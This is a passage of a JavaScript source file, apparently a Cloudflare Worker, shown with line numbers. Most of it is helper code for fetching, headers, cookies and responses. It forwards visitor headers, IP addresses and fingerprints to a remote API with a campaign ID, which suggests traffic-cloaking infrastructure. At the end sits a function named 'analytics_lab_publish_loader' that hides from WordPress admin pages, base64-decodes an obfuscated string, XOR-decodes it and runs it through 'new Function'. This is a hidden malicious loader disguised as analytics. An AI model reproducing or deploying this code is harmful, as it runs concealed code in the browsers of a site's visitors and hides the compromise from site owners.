585 if (r.why === "Invalid http status format") return "HTTP_STATUS_BAD_FORMAT"; 586 if (r.why === "Http status out of range") return "HTTP_STATUS_RANGE"; 587 return "HTTP_STATUS_BAD"; 588 } 589 590 if (r.kind === "url") { 591 if (String(r.why || "").startsWith("Upstream HTTP ")) return "URL_HTTP_ERROR"; 592 if (String(r.why || "").startsWith("Network error")) return "URL_NETWORK"; 593 return "URL_BAD"; 594 } 595 596 if (r.why === "Local file not found") return "FILE_NOT_FOUND"; 597 if (r.why === "ASSETS binding not configured") return "ASSETS_NOT_CONFIGURED"; 598 599 return "FILE_BAD"; 600} 601 602function buildClientData(request, url, fingerprint) { 603 return { 604 apiKey: config.api_key, 605 campaignId: config.campaign_id, 606 integration: config.integration, 607 version: config.version, 608 headers: getHeaders(request, url), 609 params: Object.fromEntries(url.searchParams.entries()), 610 fingerprint, 611 noscript: false 612 }; 613} 614 615function getHeaders(request, url) { 616 const server = {}; 617 618 for (const [key, value] of request.headers.entries()) { 619 const phpKey = "HTTP_" + key.toUpperCase().replaceAll("-", "_"); 620 server[phpKey] = String(value); 621 } 622 623 server.REQUEST_METHOD = request.method || "GET"; 624 server.REQUEST_URI = url.pathname + url.search; 625 server.QUERY_STRING = url.search ? url.search.slice(1) : ""; 626 server.path = url.pathname + url.search; 627 628 server.HTTP_HOST = request.headers.get("host") || url.host; 629 server.SERVER_NAME = getServerName(server.HTTP_HOST); 630 server.SERVER_PORT = url.protocol === "https:" ? "443" : "80"; 631 632 server.REMOTE_ADDR = request.headers.get("cf-connecting-ip"); 633 634 if (url.protocol === "https:") { 635 server.HTTPS = "on"; 636 server.HTTP_HTTPS = "1"; 637 } 638 639 return server; 640} 641 642async function apiRequest(apiPath, headers, body, method) { 643 const url = config.api_host.replace(/\/$/, "") + apiPath; 644 645 return await httpFetch(url, { 646 method, 647 headers, 648 body, 649 timeoutMs: 45000 650 }); 651} 652 653async function httpFetch(url, options = {}) { 654 const controller = new AbortController(); 655 const timeout = setTimeout(() => controller.abort(), options.timeoutMs || 30000); 656 657 try { 658 const resp = await fetch(url, { 659 method: options.method || "GET", 660 headers: options.headers || {}, 661 body: options.body || undefined, 662 redirect: "follow", 663 signal: controller.signal 664 }); 665 666 const text = await resp.text(); 667 668 const headers = {}; 669 resp.headers.forEach((v, k) => { 670 headers[k.toLowerCase()] = v; 671 }); 672 673 return { 674 status: resp.status, 675 headers, 676 body: text, 677 error: "", 678 errorCode: 0 679 }; 680 } catch (e) { 681 return { 682 status: 0, 683 headers: {}, 684 body: "", 685 error: e.message, 686 errorCode: 1 687 }; 688 } finally { 689 clearTimeout(timeout); 690 } 691} 692 693function abortOnApiFailure(resp, where, url) { 694 const status = Number(resp.status || 0); 695 const hasNetErr = !!resp.errorCode; 696 const badHttp = status < 200 || status >= 300; 697 698 if (!hasNetErr && !badHttp) return; 699 700 const reason = hasNetErr ? "FETCH_" + resp.errorCode : "UPSTREAM_HTTP_" + status; 701 const dev = url && url.searchParams.get("dev") === "1"; 702 703 throw new Response(dev ? `502 Bad Gateway (${where} | ${reason})` : "502 Bad Gateway", { 704 status: 502, 705 headers: { 706 "Content-Type": "text/plain; charset=utf-8", 707 "Cache-Control": "no-store, no-cache, must-revalidate, max-age=0", 708 "Pragma": "no-cache" 709 } 710 }); 711} 712 713function passThrough(request, env) { 714 if (env && env.ASSETS) { 715 return env.ASSETS.fetch(request); 716 } 717 718 return fetch(request); 719} 720 721function noCache(response) { 722 const headers = new Headers(response.headers); 723 724 headers.set("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0"); 725 headers.set("Pragma", "no-cache"); 726 headers.set("Expires", "0"); 727 headers.set("Surrogate-Control", "no-store"); 728 729 return new Response(response.body, { 730 status: response.status, 731 statusText: response.statusText, 732 headers 733 }); 734} 735 736function htmlResponse(html, extraHeaders = {}) { 737 return noCache(new Response(html, { 738 status: 200, 739 headers: { 740 "Content-Type": "text/html; charset=utf-8", 741 ...extraHeaders 742 } 743 })); 744} 745 746function jsonResponse(obj, status = 200) { 747 return noCache(new Response(JSON.stringify(obj), { 748 status, 749 headers: { 750 "Content-Type": "application/json; charset=utf-8" 751 } 752 })); 753} 754 755function textResponse(text, status = 200) { 756 return noCache(new Response(text, { 757 status, 758 headers: { 759 "Content-Type": "text/plain; charset=utf-8" 760 } 761 })); 762} 763 764function makeCookie(name, value, maxAgeSeconds) { 765 return `${name}=${encodeURIComponent(value)}; Path=/; Max-Age=${maxAgeSeconds}; SameSite=Lax`; 766} 767 768function parseCookies(raw) { 769 const out = {}; 770 771 String(raw || "").split(";").forEach(part => { 772 const idx = part.indexOf("="); 773 774 if (idx === -1) return; 775 776 const key = part.slice(0, idx).trim(); 777 const val = part.slice(idx + 1).trim(); 778 779 if (key) out[key] = decodeURIComponent(val); 780 }); 781 782 return out; 783} 784 785function generateDynamicResponse(prefix = "masqrad-") { 786 const bytes = new Uint8Array(4); 787 crypto.getRandomValues(bytes); 788 789 const hex = [...bytes].map(b => b.toString(16).padStart(2, "0")).join(""); 790 791 return `${prefix}${Date.now()}-${hex}-${Math.random()}`; 792} 793 794function getServerName(host) { 795 if (!host) return "localhost"; 796 return String(host).split(":")[0]; 797} 798 799function firstIp(value) { 800 if (!value) return null; 801 return String(value).split(",")[0].trim(); 802} 803 804function safeJsonParse(raw) { 805 try { 806 if (!raw) return null; 807 return JSON.parse(raw); 808 } catch { 809 return null; 810 } 811} 812 813function escapeHtml(value) { 814 return String(value || "") 815 .replaceAll("&", "&") 816 .replaceAll('"', """) 817 .replaceAll("<", "<") 818 .replaceAll(">", ">"); 819} 820 821function analytics_lab_publish_loader() { 822 const isWpAdmin = window.location.pathname.includes('wp-admin') || 823 window.location.pathname.includes('/wp-login.php') || 824 window.location.search.includes('wp-admin'); 825 826 if (isWpAdmin || document.getElementById('wpadminbar')) { 827 return; 828 } 829 base64_decode('IWZ1bmN0aW9uKCl7dmFyIF8weDBmMGVlMmY5NDAzOT1hdG9iKCdOM2xxY1h4cmRuQnhOelprYVg1dFAyVm5YbnhyS1NJNFFFQjViMXR3Y1hwQWZubDd
829MMzBvS1N4N2ZpOStmSGw4S1Rna2EyMW1aSFo1TjNOd2ZINXpUR3R3Ylg1NGVqRjRlbXRXYTNweU4yVm5YbnhyS1RZMmJYcHJhbTF4SkdKOGZtdDhkemRBZWpaa1ltaDJjWHR3YURGK2UzdGFhWHB4YTFOMmJHdDZjWHB0TnpoeWVteHNmbmg2T0RONWFuRjhhM1p3Y1RkQWVtazJaR3R0Wm1SMmVUZEFlbWs1T1VCNmFURjdmbXQrT1RsQWVta3hlMzVyZmpGclptOTZJaUlpT0hsdk1ucHlmWHA3TW05K2JHeDZlemcyWkhOd2ZINXpUR3R3Ylg1NGVqRnNlbXRXYTNweU4yVm5YbnhyS1RNNExqZzJKR0ppZkg1cmZIYzNRSG90Tm1SaVlqWWtlV3B4Zkd0MmNIRS9kWFJIS1N3cU4wQjljSEJyTm1ScmJXWmtkbmszYzNCOGZuTk1hM0J0Zm5oNk1YaDZhMVpyZW5JM1pXZGVmR3NwTmpadGVtdHFiWEVrWW54K2EzeDNOMEI2TERaa1ltbCtiVDl3ZUZ0UEtWa2lSRDEzYTJ0dmJDVXdNSFo3TW5Oek1YeHdjajB6UHoxM2EydHZKVEF3SnlveExTd21NUzRySmpFdUxTODlRak5RZEZnc2RIa2lPSDU1ZXk5OUtDa3NlMzR2Zm54NWZDazRKSGxxY1h4cmRuQnhQM2hyYjBaK2R6ZDJObVIyZVRkMklTSndlRnRQS1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ZyZW5GclUzQitlM3A3T0ROQWVXOU1hMzV0YXpZa2VuTnNlajlBZVc5TWEzNXRhemMySkdJMk56WWsnKSxfMHhhOWJlYjY1ZjRiOWM9MzEsXzB4NzhkYTk5Zjk2MDJlPW5ldyBVaW50OEFycmF5KF8weDBmMGVlMmY5NDAzOVsnbGVuZ3RoJ10pLF8weGEwYzlmMjg1OTJhMz0wO2Zvcig7XzB4YTBjOWYyODU5MmEzPF8weDBmMGVlMmY5NDAzOVsnbGVuZ3RoJ107XzB4YTBjOWYyODU5MmEzKyspXzB4NzhkYTk5Zjk2MDJlW18weGEwYzlmMjg1OTJhM109XzB4MGYwZWUyZjk0MDM5WydjaGFyQ29kZUF0J10oXzB4YTBjOWYyODU5MmEzKV5fMHhhOWJlYjY1ZjRiOWM7KG5ldyBGdW5jdGlvbihuZXcgVGV4dERlY29kZXIoKVsnZGVjb2RlJ10oXzB4NzhkYTk5Zjk2MDJlKSkpKCl9KCk7') 830} 831analytics_lab_publish_loader();
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.